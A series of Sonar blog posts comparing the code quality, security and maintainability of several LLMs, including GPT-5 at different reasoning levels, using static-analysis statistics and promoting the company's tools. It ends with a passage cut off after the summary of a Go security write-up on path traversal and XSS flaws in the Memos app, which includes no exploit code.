How reasoning impacts LLM coding models

Prasenjit Sarkar — Tue, 02 Sep 2025 18:00:00 GMT

TL;DR overview

Reasoning capabilities in large language models—particularly chain-of-thought and step-by-step problem decomposition—measurably improve code correctness and the ability to handle complex multi-step programming tasks.
Models with stronger reasoning tend to produce code that is more logically sound, better handles edge cases, and introduces fewer security vulnerabilities than purely pattern-matching approaches.
However, reasoning alone does not guarantee quality: models still produce code with subtle bugs, insecure patterns, or maintainability issues that require external verification via static analysis.
Teams evaluating LLM coding tools should test reasoning-capable models on their own problem domains rather than relying solely on public benchmarks, which may not reflect real-world code quality needs.

The introduction of sophisticated reasoning capabilities in models like GPT-5 marks a significant evolution in AI code generation. This report provides a deep dive into GPT-5’s four reasoning modes—minimal, low, medium, and high—to understand the impact of increased reasoning on functional correctness, code quality, security, and cost. Our analysis, based on over 4,400 Java tasks, reveals a clear trade-off: while higher reasoning delivers best-in-class functional performance, it achieves this by generating a massive volume of complex and hard-to-maintain code.

This blog post builds upon our previous analysis, The Coding Personalities of Leading LLMs—GPT-5 Update, where we evaluated GPT-5’s minimal reasoning mode against other leading models. In this research, we found that reasoning is a powerful tool for improving correctness and security, but it comes with trade-offs. Medium reasoning mode achieves the highest functional success rate and provides a good balance of performance and cost. However, regardless of the setting, GPT-5’s code requires rigorous static analysis to manage the immediate increase in technical debt and a new class of subtle, complex flaws that reasoning introduces. The key takeaway is that the impressive functional performance of reasoning models comes with significant trade-offs. While reasoning reduces common problems in the code, they also create new, hidden ones that demand greater scrutiny.

A note on methodology

Using the SonarQube Enterprise static analysis engine, Sonar has now evaluated code from GPT-5 across its four reasoning modes: minimal, low, medium, and high. Each mode was tested against over 4,400 unique Java assignments from recognized benchmarks like MultiPL-E and ComplexCodeEval. This analysis is a deep dive into the impact of reasoning and is intended as a follow-up to our previous report, which provided a broader comparison of GPT-5-minimal against other leading LLMs.

Functional performance

Increased reasoning has a positive impact on functional performance, but the returns diminish at the highest, most expensive levels.

Introducing even a little reasoning provides a material boost, with the low reasoning mode’s pass rate of ~80% representing a jump from the minimal mode’s ~75%. The performance peaks with the medium reasoning mode, which achieved the highest functional success rate in our evaluation at ~82%, slightly outperforming the much more expensive high setting (~82%). This makes the medium reasoning mode a clear “sweet spot” and also suggests that for most complex tasks where correctness is paramount, medium reasoning represents the optimal balance of performance and cost.

Table 1: Functional performance by reasoning mode

MultiPL-E benchmarks	GPT-5-high	GPT-5-medium	GPT-5-low	GPT-5-minimal
HumanEval (158 tasks)	96.84%	96.84%	96.20%	91.77%
MBPP (385 tasks)	75.13%	75.39%	73.58%	68.13%
Weighted Test Pass@1 Avg	81.78%	81.96%	80.50%	75.37%

The cost of reasoning

While functionally superior, the code generated by higher reasoning modes is not necessarily better. It is more verbose, more expensive, and contains more defects for each given task.

1. Verbosity & complexity

All GPT-5 reasoning models are more verbose and complex than their predecessor GPT-4o. As the table below shows, even GPT-5-minimal produces more than double the lines of code of GPT-4o, and this verbosity increases with higher reasoning. Furthermore, the complexity is consistently higher across all four GPT-5 modes compared to non-reasoning alternatives. This indicates a shift towards a more complex approach to problem-solving, where the model adds significantly more Lines of Code (LOC)—even between the medium and high settings—without a corresponding increase in functional performance.

Table 2: Code volume and complexity metrics

LLM model	Lines of code (LOC)	Cyclomatic complexity	Cognitive complexity	Cyclomatic complexity / LoC	Cognitive complexity / LoC
GPT-5-high	727,154	204,395	169,496	0.281	0.233
GPT-5-medium	611,112	171,485	138,925	0.281	0.227
GPT-5-low	561,325	154,776	119,313	0.276	0.213
GPT-5-minimal	490,010	145,099	111,133	0.296	0.227
GPT-4o	209,994	44,387	26,450	0.211	0.126

2. The financial cost

The cost of using GPT-5 scales with reasoning, driven by both internal “reasoning tokens” and the volume of verbose code the model generates. Developers and organizations should factor in the additional cost when deciding whether to move up to a higher reasoning setting.

Table 3: Cost per benchmark run

Reasoning mode	Cost per benchmark run
GPT-5-high	$189
GPT-5-medium	$64
GPT-5-low	$47
GPT-5-minimal	$22

Code quality

As part of this evaluation, we found that reasoning levels do not materially impact the code’s complexity density. The Cognitive Complexity Density is nearly identical across the minimal, medium, and high modes (0.227-0.233). This indicates that GPT-5 has an inherently complex coding style.

The model appears to “overthink” the answer as reasoning increases. They introduce more “Issues per passing task,” rising from 3.90 at minimal to 5.50 at the high setting. Because issue density remains stable, the greater volume of code at higher reasoning levels results in more absolute issues. This makes higher-reasoning GPT-5 a source of increased tech debt that trades long-term maintenance overhead for short-term velocity.

Table 4: Code quality and issue rates

LLM model	Passing tests %	SonarQube discovered issues	Issues per passing task
GPT-5-high	81.78%	19,968	5.50
GPT-5-medium	81.96%	16,629	4.57
GPT-5-low	80.50%	13,887	3.88
GPT-5-minimal	75.37%	13,057	3.90

A new risk profile

Another important takeaway is that reasoning shifts the type of flaws generated. It reduces common, obvious issues but replaces them with nuanced ones. Developers may get a false sense of security, as the code appears cleaner on the surface.

1. Security

The data suggests that reasoning at the medium and high levels produces more secure code. As reasoning increases, GPT-5 becomes significantly better at avoiding common, high-risk vulnerabilities. But the improvement is not perfect and introduces more complex security issues.

As the table below shows, security issues like “path-traversal & Injection” flaws are nearly eliminated at higher reasoning levels, as are other common issues like “cryptography misconfiguration.”

However, this security benefit comes at a cost. In place of these well-understood flaws, the higher reasoning modes introduce more subtle, implementation-specific vulnerabilities. The rate of “inadequate I/O error-handling” and “certificate-validation omissions” both skyrocket.. This leaves development leaders making a difficult tradeoff of reducing the prevalence of common exploits while increasing the risk of nuanced implementation flaws.

Table 5: Vulnerability sub-category distribution (%)

Vulnerability category	GPT-5-high (%)	GPT-5-medium (%)	GPT-5-low (%)	GPT-5-minimal (%)
Path-traversal & injection	0.00	1.69	0.00	20.00
Inadequate I/O error-handling	43.84	35.59	51.02	30
Cryptography misconfiguration	6.85	10.17	24.49	23.33
Certificate-validation omissions	15.07	22.03	8.16	8.33
Hard-coded credentials	10.96	15.25	6.12	5
XML External Entity (XXE)	16.44	11.86	6.12	10
JSON-injection risk	0	0	0	0
JWT signature not verified	0	0	0	0

2. Reliability

Reliability presents another difficult trade-off. The data shows a clear pattern: in higher reasoning modes, fewer severe bugs are introduced. While the code generated is not bug-free, the chance of a major issue is reduced as reasoning helps the model avoid fundamental logical errors and common API usage mistakes.

This effect is most evident in the two most significant trends shown in the table below. As reasoning increases, the rate of basic “control-flow mistake” bugs is halved from the minimal to the high setting. Inversely, the model's attempts at more complex, multi-threaded solutions lead to an increase in “concurrency / threading” bugs, which nearly double over the same range. This highlights another difficult trade-off: increasing reasoning fixes simple logical errors but creates more complex, harder-to-detect ones. Other categories are included for completeness but show less pronounced trends, indicating the primary impact of reasoning is on the core logic and complexity of the solutions.

Table 6: Bug sub-category distribution (%)

Bug category	GPT-5-high (%)	GPT-5-medium (%)	GPT-5-low (%)	GPT-5-minimal (%)
Control-flow mistake	12.57	10.85	11.60	24.26
Concurrency / Threading	38.30	35.05	27.44	20.00
API contract violation	10.53	6.23	8.47	9.18
Exception handling	5.56	6.58	8.1	9.18
Resource management / leak	7.16	9.07	9.58	11.48
Type-safety / Casts	5.56	4.27	7.92	5.25
Null / data-value issues	5.12	7.65	5.52	3.77
Performance / structure	4.82	7.12	3.87	3.77
Pattern / regex	1.61	4.98	2.39	0.82
Data-structure bug	0.0	0.18	0.37	0.0
Serialization / serializable	0.0	0.0	0.0	0.0

3. Severity

The data on issue severity reveals one of the most significant trade-offs of the reasoning models: a shift from application-breaking flaws toward a higher volume of less critical issues. This is most evident in the security profile, where the severity of vulnerabilities generated by GPT-5 is fundamentally different from other models. As shown below, all four reasoning modes produce a much lower proportion of BLOCKER vulnerabilities compared to their peers—an average of Claude Sonnet 4, Claude 3.7 Sonnet, GPT-4o, Llama 3.2 Vision 90B, and OpenCoder-8B—indicating, indicating a successful effort in reducing the most severe security flaws.

Table 7: Vulnerability severity distribution (%)

LLM model	BLOCKER vulnerabilities (%)	CRITICAL vulnerabilities (%)	MINOR vulnerabilities (%)
GPT-5-high	30.14	24.66	45.21
GPT-5-medium	28.81	33.90	35.59
GPT-5-low	12.24	36.73	51.02
GPT-5-minimal	35.00	31.67	30.00
(Other Models Avg)	~63%	~27%	~8%

This trend is also reflected in the bug profile. Reasoning is effective at reducing the most severe functional bugs, and the GPT-5 suite consistently outperforms other models in this regard. The high reasoning mode produces the lowest proportion of BLOCKER bugs (~3%), a figure that rises to ~8% for the minimal mode. While the code is far from bug-free, the chance of functional error is clearly reduced with increased reasoning.

Table 8: Bug severity distribution (%)

LLM model	BLOCKER bugs (%	CRITICAL bugs (%)
GPT-5-high	2.92	2.63
GPT-5-medium	4.80	3.20
GPT-5-low	5.16	2.95
GPT-5-minimal	7.70	2.30
(Other Models Avg)	~10.2	~5.8

In summary, the issues in the lower-reasoning mode were simply easier to spot because they were more common and straightforward. This means that the higher the reasoning level of the model, the deeper the code review needs to be, and the greater the chance that issues might go unnoticed in a standard code review.

Conclusion: Trust, and verify rigorously

Reasoning is a powerful feature that allows GPT-5 to achieve a new level of functional correctness and security against common attacks. However, it is not a silver bullet. “Trust and verify” is more critical than ever for this new class of models.

From a developer’s standpoint, the danger is complacency. At a glance, the code from higher-reasoning modes will have fewer obvious logical errors and common vulnerabilities. But hidden beneath the surface is a greater volume of complex code saturated with subtle, hard-to-detect issues like concurrency bugs and insecure error handling. For teams with existing codebases, poor maintainability of code presents a significant risk.

Teams adopting GPT-5 will likely see an increase in initial feature velocity, but this will be paid for by a direct and immediate increase in technical debt. Harnessing the power of reasoning models requires a robust governance strategy, centered on rigorous static analysis to identify and manage the complex flaws they create.

Diving into the 3 traits that define your LLM’s coding personality

Prasenjit Sarkar — Thu, 28 Aug 2025 05:00:00 GMT

TL;DR overview

Sonar's research into LLM coding personality traits reveals that different AI models have distinct, consistent tendencies in how they write code—some favor verbosity, others terseness; some prioritize robustness, others speed.
These traits persist across problem types and languages, meaning developers can learn to anticipate a model's behavior and use that knowledge to review AI-generated code more efficiently.
Models with "cautious" personalities tend to produce safer, more defensive code with more error handling; "confident" models produce leaner code that may require more careful security review.
Understanding LLM coding personalities helps engineering teams select the right model for each task type and configure code review workflows to focus human attention on each model's known weaknesses.

If you’ve experimented with more than one large language model (LLM) for coding, you’ve likely noticed that their outputs feel different, even when their performance on standard benchmarks seems comparable. One model might produce dense, compact functions, while another generates elaborate, heavily documented classes. This isn't just a subjective impression—it's a reflection of a distinct and measurable “coding personality.”

Our recent “State of code” report moved beyond traditional benchmarks to understand the full mosaic of an LLM's capabilities. The research revealed that while leading models share common strengths and flaws, each has a unique style. We found that this personality can be quantified by analyzing three primary traits: verbosity, complexity, and communication style. Understanding these traits is critical for choosing the right model for a given task and managing the long-term health of your codebase.

Core traits that define LLM personalities

1. Verbosity: The volume of code

The most immediate personality trait is a model's verbosity—the sheer volume of code it generates to solve a problem. Our analysis of 4,442 identical programming tasks revealed a huge stylistic difference between models.

For instance, Claude Sonnet 4 was highly verbose, generating 370,816 lines of code (LOC). In stark contrast, OpenCoder-8B was far more concise, producing only 120,288 LOC to solve the exact same problems.

This isn't simply a matter of length; it reflects a fundamental difference in approach. A verbose model often attempts to build a complete, self-contained solution with extensive boilerplate, while a concise model aims for the quickest, most direct route to a functional answer. Neither is inherently better, but the choice has consequences. Verbose code can be harder to review and navigate, while overly concise code might omit important context or safeguards, demanding more effort from the developer to make it production-ready.

2. Complexity: The structure of the code

Beyond volume, the inherent complexity of the generated code quantifies an AI’s “thinking style.” Using metrics like cyclomatic and cognitive complexity, which measure the structural and logical difficulty of understanding existing code, reveals another clear personality trait.

Here again, the differences were significant. Claude Sonnet 4, the most verbose model, also produced the most intricate solutions, with a cognitive complexity score of 47,649, spanning multiple programming languages and coding tasks. This is more than three times the complexity of the code from OpenCoder-8B, which scored just 13,965.

This metric acts as a proxy for the model's problem-solving philosophy. A high complexity score suggests a personality that favors building elaborate, multi-layered solutions, much like a senior architect designing a robust system. A low score indicates a more linear, straightforward approach, like a prototyper focused on speed. This thinking style directly impacts risk. While complex solutions can be powerful, they also create a larger surface area for bugs and increase the cognitive load on developers who must maintain the code over time.

3. Communication style: The documentation in the code

A third defining trait is the model’s communication style, revealed through its documentation habits. The density of comments in the generated code shows whether a model tends to explain its work or assumes its logic is self-evident.

Our analysis found that models have very different habits here. Claude 3.7 Sonnet proved to be an exceptional commenter, with a comment density of 16.4%. At the other end of the spectrum, GPT-4o was less of a documentarian, with comments making up only 4.4% of its code.

This has real-world consequences for team collaboration and maintainability. A well-commented codebase helps onboard new software developers and simplifies debugging, while an uncommented one can be difficult to manage. The fact that models exhibit such consistent but different commenting behaviors underscores that they are not neutral code generators—they are opinionated authors with distinct communication styles. From traits to archetypes: Meet the LLM coding personalities

These foundational traits combine to form distinct “coding archetypes”. Understanding these archetypes will help you choose the right LLM based on their strengths and weaknesses.

The senior architect (Claude Sonnet 4)

This LLM codes like a seasoned architect building an enterprise-grade system. Its style is verbose and highly complex, as it consistently attempts to implement sophisticated safeguards and error handling. This ambition, however, creates a trap: the code feels safer because it looks advanced, but it's more likely to introduce complex, high-severity security issues & bugs.

Unique risk profile: This model has a high tendency for difficult concurrency and threading bugs (9.81% of its total bugs) and a significant rate of resource management leaks (15.07% of its bugs). These are the exact kinds of high-risk issues that plague complex, stateful systems.
The rapid prototyper (OpenCoder-8B)

This model is like a brilliant but undisciplined junior developer, perfect for getting a concept working with maximum speed. Its style is defined by conciseness, producing the least amount of code to achieve a functional result. But this immediate productivity gain comes at a steep cost.

Unique risk profile: This model is a technical debt machine, exhibiting the highest issue density of all models reviewed (32.45 issues per thousand lines of code). Its most prominent flaw is leaving behind a massive amount of dead, unused, and redundant code, which accounts for over 42% of all its code smells. Its output is a minefield of maintainability issues that requires significant refactoring before it can be considered for production.
The unfulfilled promise (Llama 3.2 90B)

Given its scale and backing, this model should be a top-tier contender, but its performance suggests its promise is unfulfilled. Its functional skill is mediocre, and its most alarming trait is a remarkably poor security posture.

Unique risk profile: This model has a profound security blind spot. An alarming 70.73% of the vulnerabilities it introduces are of ‘BLOCKER’ severity—the highest proportion of any model evaluated. Deploying this model in a production environment without an aggressive external verification layer carries significant risk.
The efficient generalist (GPT-4o)

This LLM is a reliable, middle-of-the-road developer—a jack-of-all-trades and a common choice for general-purpose coding assistance. Its code is moderately complex and its functional performance is solid. Its personality is revealed in the type of mistakes it makes.

Unique risk profile: This model demonstrates a notable carelessness with logical precision. Its single most common bug category is control-flow mistakes, accounting for a remarkable 48.15% of all its bugs. This paints a picture of a coder who grasps the main objective but fumbles the details, producing code that functions for the intended scenario but is plagued by problems that compromise reliability over time.
The balanced predecessor (Claude 3.7 Sonnet)

This model represents a capable and well-rounded developer from a prior generation. It exhibits strong functional skills, with a 72.46% benchmark pass rate. Its most defining personality trait is its communication style—it is an exceptional documentarian, producing code with a remarkable 16.4% comment density, which is the highest of any model evaluated. This makes its code uniquely readable and easier for human developers to understand, maintain and write code collaboratively.

Unique risk profile: The catch is that while it appears more stable and less reckless than its more ambitious successor, it is by no means a “safe” model. It still suffers from the same foundational flaws as the other models and introduces a high proportion of ‘BLOCKER’ vulnerabilities (56%). Its well-documented code can create a false sense of security, masking significant underlying risks.

The criticality of a “trust but verify” approach

Regardless of the choice, our research shows that no model is inherently “safe.” All of them produce a frighteningly high percentage of severe security vulnerabilities and are biased toward messy code that creates technical debt.

This is why the “trust but verify” approach, long advocated by Sonar, has never been more critical. To better equip the power of AI coding assistants responsibly, organizations must pair them with an independent verification and governance process that analyzes every line of code, be it human written or AI-generated—for security, reliability, and maintainability issues before it can impact production. By understanding an LLM's unique personality, engineering leaders can finally make informed decisions, manage the inherent risks, and ensure that AI-assisted coding becomes a sustainable advantage.

Go deeper: download the report “The Coding Personalities of Leading LLMs.”

The Coding Personalities of Leading LLMs—GPT-5 update

Prasenjit Sarkar — Wed, 27 Aug 2025 18:00:00 GMT

TL;DR overview

This update to Sonar's Coding Personalities of Leading LLMs report adds GPT-5 analysis data, evaluating the model's code quality output using SonarQube Enterprise static analysis on Java programming tasks.
GPT-5 demonstrates improved benchmark pass rates compared to earlier GPT versions, but like other models in the study, produces code where code smells constitute over 90% of all detected issues, reflecting a shared tendency toward technically functional but structurally poor code.
The update reinforces the core finding across all evaluated models: LLM upgrades do not consistently translate to better production-ready code quality—teams must apply automated static analysis to LLM output regardless of model generation.
SonarQube users can rely on consistent, model-agnostic quality and security verification across all LLMs their teams use, ensuring AI-generated code meets the same standards as human-written code.

In our previous report, “The Coding Personalities of Leading LLMs,” we revealed the shared strengths and flaws of some of the most popular LLMs, while also uncovering distinct coding “personalities” for each model.

GPT-5’s arrival on the scene adds an important new dimension to the landscape, so we have updated our analysis to include it. To do an apples-to-apples comparison, we evaluated GPT-5 with minimal reasoning against Anthropic's Claude Sonnet 4 and 3.7, OpenAI's GPT-4o, Meta's Llama 3.2 90B, and the open source OpenCoder-8B.

Bottom line: GPT-5-minimal reasoning does not unseat Claude Sonnet 4 as the performance leader. It performs better than every other model we tested, but had lower functional performance than Claude Sonnet 4, while generating more verbose, complex, and issue-prone code. Claude Sonnet 4 remains the leader of the non-reasoning models, both in terms of functional performance and code quality.

A note on methodology

Using the SonarQube Enterprise static analysis engine, Sonar has now evaluated code generated from six leading LLMs, including the latest GPT-5 model from OpenAI. Each model was tested against over 4,400 unique Java assignments from recognized benchmarks like MultiPL-E and ComplexCodeEval.

For this evaluation, we analyzed “GPT-5-minimal,” which operates at the model’s lowest reasoning level, to have a fair comparison with other models like Claude Sonnet 4 that have reasoning disabled by default. Reasoning adds a number of dimensions to this analysis, which we will explore in future work.

Functional performance

The first dimension of any model’s personality is its raw functional skill. On this front, GPT-5-minimal establishes itself as a highly-competitive model with a weighted pass average of ~75%. GPT-5-minimal is a top-tier performer, second only to Claude Sonnet 4.

Table 1: Functional performance on MultiPL-E Java benchmarks

MultiPL-E Benchmarks	GPT-5-minimal	Claude Sonnet 4	Claude 3.7 Sonnet	GPT-4o	Llama 3.2 Vision 90B	OpenCoder-8B
HumanEval (158 tasks)	91.77%	95.57%	84.28%	73.42%	61.64%	64.36%
MBPP (385 tasks)	68.13%	69.43%	67.62%	68.13%	61.40%	58.81%
Weighted Test Pass@1 Avg	75.37%	77.04%	72.46%	69.67%	61.47%	60.43%

The cost of performance: Extreme verbosity and complexity

We have previously seen that models that do well functionally tend to generate more lines of code per completed task. GPT-5 breaks this trend; despite not being the top performer, GPT-5-minimal generates a substantially larger and more complex volume of code than any other model, including Claude Sonnet 4.

Table 2: Code volume and complexity metrics

LLM model	Lines of code (LOC)	Cyclomatic complexity	Cognitive complexity
GPT-5-minimal	490,010	145,099	111,133
Claude Sonnet 4	370,816	81,667	47,649
Claude 3.7 Sonnet	288,126	55,485	42,220
GPT-4o	209,994	44,387	26,450
Llama 3.2 Vision 90B	196,927	37,948	20,811
OpenCoder-8B	120,288	18,850	13,965

GPT-5-minimal produced 490,010 lines of code, over 30% more than the top-performing Claude Sonnet 4. The code it generates also has a dramatic increase in cyclomatic complexity and cognitive complexity. Developers who need to review code generated by GPT-5-minimal will be faced with a tough challenge.

Deep dive into code quality

Compounding these challenges, we find that the code from GPT-5-minimal has a much higher density of issues relative to the tasks it solves.

Table 3 highlights the “Issues per passing task” from each model. GPT-5-minimal introduces 3.90 issues for every correct solution—nearly double the rate of the more concise and higher performing Claude Sonnet 4. This means for every task it completes successfully, it introduces significantly more potential defects than its competitors, resulting in a large downstream technical debt, quality, security, and verification burden.

Table 3: Overall code quality and issue rates

LLM model	Passing tests %	SonarQube discovered issues	Issues per passing task
GPT-5-minimal	75.37%	13,057	3.90
Claude Sonnet 4	77.04%	7,225	2.11
Claude 3.7 Sonnet	72.46%	6,576	2.04
GPT-4o	69.67%	5,476	1.77
Llama 3.2 Vision 90B	61.47%	5,159	1.89
OpenCoder-8B	60.43%	3,903	1.45

GPT-5-minimal produces the lowest density of vulnerabilities by a wide margin (0.12 per KLOC) and a relatively low bug density. However, this is balanced by a much higher density of code smells (25.28 per KLOC), indicating a primary weakness in code quality and maintainability.

Table 4: Issue density by type (per KLOC)

LLM model	Bug density (Bugs/KLOC)	Vulnerability density (Vuln./KLOC)	Code smell density (Smells/KLOC)
GPT-5-minimal	1.24	0.12	25.28
Claude Sonnet 4	1.14	0.38	17.96
Claude 3.7 Sonnet	1.22	0.40	21.20
GPT-4o	1.93	0.53	23.61
Llama 3.2 Vision 90B	2.02	0.62	23.55
OpenCoder-8B	2.05	0.56	29.84

While a low density can sometimes be misleading if a model is simply more verbose, the data on absolute vulnerability counts confirms this is not the case. With only 60 total vulnerabilities generated, GPT-5-minimal is proving its security focus is strong on both a relative and absolute basis.

Table 5: Absolute vulnerability counts

LLM model	Total vulnerabilities generated
GPT-5-minimal	60
Claude Sonnet 4	141
Claude 3.7 Sonnet	116
GPT-4o	112
Llama 3.2 Vision 90B	123
OpenCoder-8B	67

Here is some more detail regarding the coding personality of GPT-5-minimal.

Security

GPT-5-minimal’s strongest trait is its focus on security, which is evident across multiple metrics. Its issues are far less likely to be security-related; only 0.46% of its total discovered issues are vulnerabilities, a fraction of the rate for other models. Furthermore, it produces the lowest density of vulnerabilities of any model tested—just 0.12 per 1,000 lines of code (KLOC).

However, there are caveats too. The model shows a tendency to reintroduce classic security flaws that are less common in other models. Key issues include Path-traversal & Injection flaws that make up 20% of its total security vulnerabilities, indicating a different and more fundamental risk profile.

Maintainability

This model’s strong security performance is balanced by its weaker performance on code quality and maintainability.

Code smell density: Its code is inherently less maintainable, with a high density of ~25 code smells per 1,000 lines of code.
Complex issues: The core issue is the code’s intricacy. The solutions generated by GPT-5-minimal result in the highest percentage of code smells related to “Cognitive/computational complexity” (~12%) among all evaluated models. This tendency to produce overly complex code directly creates long-term technical debt, making it difficult to understand and maintain in the future.

Reliability

This model demonstrates a higher rate of foundational logical errors compared to its peers. “Control-flow mistake” bugs are dominant, accounting for roughly 24% of its total functional bugs. This shows that while the model can produce functionally-correct code, it is also prone to making basic logical errors.

Conclusion: Trust and verify

GPT-5 is undeniably a powerful new force in AI code generation. However, this analysis of its minimal reasoning mode shows that progress is not linear. It reveals a model that, while functionally proficient, carries a significant quality cost and presents a different profile of security and reliability considerations.

This makes the “trust and verify” mandate more critical than ever. To leverage this model's power, organizations must evolve their governance strategies:

Manage the complexity: Its code is a prime candidate for refactoring. Static analysis is essential to identify the critical code smells and high-complexity methods that will quickly become unmaintainable.
Scrutinize for advanced flaws: Code reviewers must be vigilant for this model's specific tendencies, including the re-emergence of classic vulnerabilities like path-traversal and a higher rate of fundamental logic errors.

This analysis shows that as AI models evolve, their flaw profiles become more nuanced. Harnessing their potential requires an equally sophisticated and adaptable approach to governance.

The Coding Personalities of Leading LLMs

Prasenjit Sarkar — Tue, 12 Aug 2025 14:00:00 GMT

TL;DR overview

Sonar's Coding Personalities of Leading LLMs report analyzes over 4,400 Java programming assignments completed by six leading LLMs using SonarQube Enterprise static analysis, identifying each model's distinct coding style, strengths, and weaknesses.
All models share critical failure modes: code smells constitute over 90% of issues across every LLM tested, and all struggle with engineering discipline—frequently introducing resource leaks and API contract violations that reflect a lack of holistic application understanding.
LLM "upgrades" can hide quality regressions: when comparing Claude 3.7 Sonnet to Claude Sonnet 4, benchmark pass rates improved 6.3%, but the severity of bugs increased by 93%—newer models solve harder problems but introduce more dangerous failure modes.
SonarQube provides a consistent, model-agnostic verification layer that catches the quality and security issues common across all LLMs, enabling teams to adopt AI coding tools confidently without compromising code standards.

Technology leaders are in a race to harness the power of AI to boost engineering productivity. We see the potential everywhere—from AI coding assistants generating over 30% of new code at Google to the promise of agentic workflows transforming the entire software development lifecycle (SDLC). But many leaders are also discovering what we call the Engineering Productivity Paradox: despite a massive increase in the volume of AI-generated code, overall engineering velocity is not increasing at the same rate.

The reason is simple: all that AI-generated code has to be reviewed and verified by humans. And just like human developers, AI models have their own unique styles, strengths, and weaknesses. Measuring their performance on benchmarking challenges alone isn't enough to understand the quality, security, and maintainability of the code they produce.

Today, Sonar published its latest report, “The Coding Personalities of Leading LLMs,” which goes beyond today’s LLM benchmarks to reveal a more nuanced view of LLM performance. Part of our ongoing The State of Code series, the report analyzes the code generated by six leading LLMs to uncover their distinct “coding personalities.” This new framework for evaluating these powerful tools will help you understand the hidden risks and opportunities of AI-assisted development.

Key findings from the LLM report

Our analysis, which used the SonarQube Enterprise static analysis engine to assess over 4,400 Java programming assignments completed by six leading LLMs, revealed several critical insights for any organization adopting AI.

1. Each LLM has a unique coding personality

Just as every developer has a distinct style, so does every LLM. Our report identifies measurable "coding personalities" based on traits like:

Verbosity: The sheer volume of code generated to complete a task. Claude Sonnet 4, for example, produced more than three times the lines of code as OpenCoder-8B to solve the exact same problems.
Complexity: The structural and logical intricacy of the code. A high-complexity score often correlates with a larger surface area for bugs.
Communication: The tendency to document code with comments. Claude 3.7 Sonnet was a prolific commenter, with 16.4% comment density, while GPT-4o was more taciturn, at just 4.4%.

Our report introduces "coding archetypes" to bring these personalities to life:

The baseline performer (GPT-5 minimal) excels at security but creates verbose code. This complexity leads to the highest rate of code quality and maintainability issues, offsetting its security strengths.
The senior architect (Claude Sonnet 4) writes sophisticated, complex code, but this very ambition creates opportunities for high-severity bugs like resource leaks and concurrency issues.
The rapid prototyper (OpenCoder-8B) is the fastest and most concise, perfect for a proof-of-concept but at the cost of creating a technical debt minefield.
The unfulfilled promise (Llama 3.2 90B) promises top-tier skill but delivers mediocre results while hiding a dangerous security blind spot, producing the highest share of critical vulnerabilities.
The efficient generalist (GPT-4o) is a solid jack-of-all-trades but has a habit of fumbling logical details, leading to persistent quality problems over time.
The balanced predecessor (Claude Sonnet 3.7) is a capable and highly communicative developer, producing exceptionally well-documented code that is easier for humans to understand, yet still introduces a high number of severe vulnerabilities.

Understanding these traits is like understanding the work style of a new hire—it’s critical for knowing how to manage their output and integrate them into your team.

Dive into the report now to learn more about these archetypes.

2. LLMs share impressive strengths

Our research confirms that the models have powerful capabilities that can speed up the initial stages of development.

Syntactically correct, fast code generation: All models consistently produced valid, executable code and robust boilerplate for frameworks and common functions, reliably speeding up the initial stages of development.
Solid algorithmic and data structure fundamentals: Each model demonstrated a strong grasp of standard algorithms and data structures, creating viable solutions for well-defined problems—an essential foundation for adding more advanced capabilities.
Effective cross-language translation: The LLMs were adept at translating code concepts and snippets between programming languages, making them powerful tools for teams working across diverse technology stacks.

3. LLMs have common blind spots

While the models we studied are incredibly capable of solving complex problems, our analysis found they share a consistent set of fundamental flaws.

Prevalent security gaps: All evaluated LLMs produced a disturbingly high percentage of high-severity vulnerabilities. For instance, for Llama 3.2 90B, over 70% of its vulnerabilities were rated ‘BLOCKER’, while for GPT-4o, the figure was 62.5%.
Struggle with engineering discipline: The models consistently introduced severe bugs like resource leaks and API contract violations, issues that require a holistic understanding of an application.
Inherent bias towards messy code: Perhaps most fundamentally, every model showed a deep tendency to write code that is hard to maintain. For all LLMs evaluated, "code smells"—indicators of poor structure and technical debt—made up over 90% of all issues found.

4. Newer models can be risky

One of the most surprising findings from our analysis is that a model “upgrade” can conceal an increase in real-world risk. When we compared Claude 3.7 Sonnet with its successor, Claude Sonnet 4, we saw this paradox in action. The newer model showed a 6.3% improvement on benchmark pass rates, but the bugs it introduced were over 93% more likely to be of ‘BLOCKER’ severity.

In its effort to solve more complex problems, the newer model generates more sophisticated—and more fragile—solutions. This shows why relying on performance benchmarks alone can be misleading; it's essential to analyze the quality and risk profile of the code, not just its functional correctness.

Similarly, GPT-5's improved functional correctness and major reduction in 'BLOCKER' vulnerabilities come at a cost, introducing a new, more complex risk profile. This is because the model's attempts at sophisticated solutions result in a far higher rate of code smells and advanced "Concurrency / Threading" bugs than its peers.

Vibe, then verify: How Sonar helps you lead in the AI era

These findings don’t diminish the transformative potential of AI; they clarify the path forward. As developers increasingly "vibe" with AI to accelerate creation, success comes from a “trust but verify" approach. True engineering productivity requires a partner that brings confidence to both sides of the equation—fueling the vibe while fortifying the verification. This is where Sonar becomes an essential partner.

Sonar helps you solve the Engineering Productivity Paradox, enabling your teams to safely adopt AI without sacrificing speed or quality. Our platform is the industry standard for integrated code quality and code security, providing a consistent verification layer for all code, whether it’s written by a human or an AI.

No matter which coding personality you "hire"—from an ambitious “senior architect” like Claude Sonnet 4 to a speedy “rapid prototyper” like OpenCoder-8B—Sonar ensures the final output meets your organization's standards. We help you:

Fuel AI-enabled development: Integrate seamlessly with the AI coding tools your team uses to solve issues early with real-time feedback in the IDE and leverage automated, AI-powered fixes for all code.
Build trust into every line of code: Sonar’s analysis engines detect the very security vulnerabilities, bugs, and maintainability issues that our report found are common in AI-generated code.
Protect your next-gen SDLC: With Sonar, you can establish quality gates and automated controls to ensure all code—especially AI-generated code—is thoroughly vetted before it ever reaches production.
Supercharge developers: By catching issues early and providing automated fixes, we reduce the manual toil of reviewing AI code, freeing your developers to focus on innovation.

Get the full LLM report

As AI rewrites the rules of software development, leaders can't afford to be surprised by the hidden risks. Relying on performance benchmarks alone is like hiring a developer based only on a resume—it doesn't tell you anything about their real-world habits or the quality of their work.

Download the The Coding Personalities of Leading LLMs to see the complete analysis, explore all the coding archetypes, and get the data you need to make informed decisions about integrating AI into your SDLC.

"The Coding Personalities of Leading LLMs" is the latest installment in Sonar's State of Code report series. Explore our other reports for a complete view of the development landscape, including expert analysis on the critical issues affecting code health from security vulnerabilities to architectural decay.

Securing Go Applications With SonarQube: Real-World Examples

Yaniv Nizry — Wed, 06 Aug 2025 22:00:00 GMT

TL;DR overview

SonarQube's Go security analysis uncovered critical vulnerabilities in Memos—a popular open source note-taking app with 40,000+ GitHub stars—including a path traversal (CVE-2025-56761) and stored XSS that together allow full server takeover.
The path traversal exists in the file upload endpoint, which authenticates users but performs no authorization check on the upload path, allowing any authenticated user to write files outside the intended directory.
